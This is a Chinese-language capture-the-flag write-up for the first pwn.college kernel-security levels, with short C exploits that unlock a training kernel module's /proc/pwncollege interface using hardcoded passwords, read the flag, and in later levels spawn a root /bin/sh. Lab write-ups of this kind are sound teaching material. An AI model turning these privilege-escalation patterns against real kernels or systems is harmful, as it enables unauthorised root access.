前言
题目链接:https://pwn.college/system-security/kernel-security
前面几题都还是比较简单的,用作熟悉kernel,笔者认为刚刚好
但是pwncollege的题目都需要用靶场本身的虚拟机做,逆向的时候可能会很卡,所以可以选择在他们的github上将题目下载下来,再到本机进行逆向,然后再到他们的虚拟机内进行做题
github链接:https://github.com/pwncollege/system-security-dojo/tree/main/kernel-security
level1.0
首先看他的初始化函数,将flag读入了flag变量当中,使用 proc_create
创建虚拟 proc
文件 pwncollege
,这个文件会出现在 /proc/pwncollege
先看他的read函数:
如果device_state为2程序就会将flag这个变量赋值给用户变量buffer
接着看他的write函数:
如果他的password为这个snceewqvyntlwfha,device_state就会为2了
根据上面的分析,先用open打开/proc/pwncollege,然后用write修改device_state为2,然后利用read将flag赋值给用户变量,接着就可以将flag打印出来了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #include <stdio.h>
#include <fcntl.h>
int main() {
char buffer[100]; int fd=open("/proc/pwncollege",O_RDWR); char key[]="gkklnaumhysmwksq"; write(fd,key,sizeof(key)); read(fd,buffer,100); printf("%s",buffer); return 0;
}
|
level1.1
和前面一题几乎一样的,只是对题目增加了一点逆向,并且换了一下password
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #include <stdio.h> #include <fcntl.h>
int main() { char buffer[100]; int fd=open("/proc/pwncollege",O_RDWR); char key[]="bbhlnbpoisiduufx"; write(fd,key,sizeof(key)); read(fd,buffer,100); printf("%s",buffer); return 0;
}
|
level2.0
除了write函数稍有变化,其他函数都没什么太大变化
从下图可以看到,我们只需要将password传入就可以直接将flag打印出来了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #include <stdio.h>
#include <fcntl.h>
int main() {
char buffer[100]; int fd=open("/proc/pwncollege",O_RDWR); char key[]="exziykkjtlbpfcbn"; write(fd,key,sizeof(key)); return 0;
}
|
需要注意的是,内核中打印出来的信息不会直接返回给用户,需要使用dmesg指令查看内核的输出信息才能看到flag
level3.0
也是直接输入password,但是不会直接输出flag了,程序给了win函数,执行完之后会将程序的权限改为root
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| #include <stdio.h>
#include <fcntl.h>
int main() {
char buffer[100]; int fd=open("/proc/pwncollege",O_RDWR); char key[]="izqbzupwclnrwugw"; write(fd,key,sizeof(key)); system("/bin/sh"); return 0;
}
|
level4.0
和前面差不多,但是write没了,改为调用ioctl函数
只需要控制一下cmd,和key就好了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| #include <stdio.h>
#include <fcntl.h>
int main() {
char buffer[100]; int fd=open("/proc/pwncollege",O_RDWR); char key[]="bzwgjygwcmubnzhp"; ioctl(fd,1337,key); system("/bin/sh"); return 0;
}
|